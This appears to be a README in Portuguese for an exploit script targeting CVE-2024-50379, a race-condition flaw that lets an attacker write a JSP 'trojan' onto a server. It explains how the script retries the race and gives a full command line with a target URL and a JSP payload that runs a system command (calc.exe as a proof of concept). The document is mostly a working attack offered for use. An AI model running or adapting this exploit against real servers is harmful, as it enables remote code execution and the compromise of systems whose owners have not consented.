
CVE-2024-50379-exp
Nos testes, descobriu-se que na primeira condição de corrida há uma grande probabilidade de falha na gravação, sendo necessário executar novamente uma condição de corrida para que o trojan seja gravado. Por isso, o script executa primeiro uma condição de corrida fixa de 6 segundos para verificar se houve gravação; se não, realiza uma nova detecção de 10 segundos definida pelo usuário ou padrão. O trojan gerado é um md5.jsp aleatório.
python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10
image